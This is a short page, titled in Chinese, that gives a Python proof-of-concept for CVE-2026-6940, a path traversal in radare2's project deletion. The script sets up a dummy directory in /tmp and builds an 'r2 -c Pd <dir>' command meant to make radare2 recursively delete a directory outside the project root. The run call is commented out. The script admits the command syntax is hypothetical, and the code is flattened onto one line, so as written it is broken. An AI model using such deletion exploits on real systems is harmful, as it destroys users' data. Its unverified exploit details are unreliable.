CVE-2026-6940 radare2路径遍历漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-6940: radare2 Path Traversal in Project Deletion import os import subprocess # Create a target directory to simulate sensitive data target_dir = "/tmp/sensitive_data_cve_2026_6940" os.makedirs(target_dir, exist_ok=True) print(f"[+] Created target directory: {target_dir}") # Create a fake radare2 project marker file inside the target directory # radare2 looks for project files to identify what to delete marker_path = os.path.join(target_dir, ".project_marker") with open(marker_path, 'w') as f: f.write("fake_project_data") print(f"[+] Created marker file: {marker_path}") # Simulate the vulnerable behavior: # Invoking radare2 with a command that triggers project deletion # using an absolute path outside the allowed project root. # Note: Exact command syntax depends on radare2 usage, typically # involves 'Pd' (Project delete) or similar internal commands. # In a real scenario, this might be triggered via a crafted file opening # that forces r2 to clean up a project path defined by the attacker. # Example command structure (Hypothetical based on vuln description): cmd = ["r2", "-c", f"Pd {target_dir}", "/bin/ls"] print(f"[*] Attempting to trigger deletion via: {' '.join(cmd)}") # subprocess.run(cmd) # Commented out to prevent accidental deletion on analysis system print("[+] If vulnerable, the directory would be deleted recursively.")